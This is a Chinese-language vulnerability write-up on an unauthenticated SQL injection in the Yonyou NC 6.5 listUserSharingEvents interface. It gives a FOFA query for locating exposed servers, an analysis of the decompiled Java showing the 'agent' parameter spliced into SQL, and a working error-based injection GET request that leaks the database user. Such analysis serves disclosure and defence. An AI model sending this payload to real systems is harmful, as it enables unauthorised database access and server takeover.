漏洞简介
⽤友NC listUserSharingEvents 接⼝处存在SQL注⼊漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进 ⼀步利⽤可导致服务器失陷。
影响版本
nc65
fofa语法
app="⽤友-UFIDA-NC"
漏洞分析
看下 listUserSharingEvents 的业务逻辑实现
@Action
public void listUserSharingEvents() throws BusinessException {
String sch_startdate = this.getRequest().getParameter("sch_sd");
String sch_enddate = this.getRequest().getParameter("sch_ed");
String agent = this.getRequest().getParameter("agent");
Map<String, String[]> sharingUsersMap = this.getDataOfUserSharingEvents(sch_startdate, sch_enddate, agent);
StringBuilder sb = new StringBuilder();
sb.append("<?xml version='1.0' encoding='UTF-8' ?>");
sb.append("<share>");
Iterator<Map.Entry<String, String[]>> iter = sharingUsersMap.entrySet().iterator();
String[] tmp = null;
while(iter.hasNext()) {
Map.Entry<String, String[]> ent = (Map.Entry)iter.next();
tmp = (String[])ent.getValue();
sb.append("<user><name><![CDATA[").append(tmp[0]).append("]]></name><value><![CDATA[").append((String)ent.getKey()).append("]]></value><color><![CDATA[").append(tmp[2]).append("]]></color><stat><![CDATA[").append(tmp[1]).append("]]></stat></user>");
}
sb.append("</share>");
CommonUtils.outputClientStreamWithGzip(this.getResponse(), "text/xml", sb.toString());
}
agent 带入 getDataOfUserSharingEvents 方法
private Map<String, String[]> getDataOfUserSharingEvents(String startdate, String enddate, String agent) throws BusinessException {
String pk_user = StringUtils.isNotEmpty(agent) ? agent : (String)CommonUtils.getCurrentPkPerson();
ICpUserQry cpuserQuery = (ICpUserQry)NCLocator.getInstance().lookup(ICpUserQry.class);
ISchedulerCacheQueryService schedulerCacheQueryService = (ISchedulerCacheQueryService)NCLocator.getInstance().lookup(ISchedulerCacheQueryService.class);
String whereSql = this.getWhereSqlOfUserPksOfSharedEvent(pk_user, startdate, enddate);
CpUserVO[] cpusers = cpuserQuery.getUserByWhere("cuserid in(" + whereSql + ")");
agent ==> pk_user ==> getWhereSqlOfUserPksOfSharedEvent
private String getWhereSqlOfUserPksOfSharedEvent(String pk_current_user, String start_date, String end_date) {
String scopeSetWhereSql = "";
try {
scopeSetWhereSql = ScopeSetUtil.getScopeSetWhereSql(pk_current_user, "oacoscheduler", "fk_share", true, true, true, true);
} catch (LfwBusinessException e) {
Logger.error(e.getMessage());
}
String sql = "select distinct a.pk_user from oaco_schedulerevent a where a.pk_user <> '%s' and a.pk_event in %s";
sql = sql + " and ('%s' between a.recurstartdate and a.recurenddate or '%s' between a.recurstartdate and a.recurenddate or a.recurstartdate between '%s' and '%s') ";
sql = String.format(sql, pk_current_user, scopeSetWhereSql, start_date, end_date, start_date, end_date);
return sql;
}
可以看到直接拼接 pk_current_user 到sql语句中,然后拼接到 cuserid in( 语句后,造成SQL注入漏洞。
漏洞复现
默认这个接口的响应如下,也符合上面漏洞分析里对应的代码部分

漏洞利用
GET /portal/pt/oacoSchedulerEvents/listUserSharingEvents?agent=6')+AND+1=UTL_INADDR.GET_HOST_ADDRESS('~'||(user)||'~')--&pageId=login&sch_ed=2&sch_sd=1 HTTP/1.1
Host: nc.mrxn.net
通过报错注入,成功报出数据库版本信息



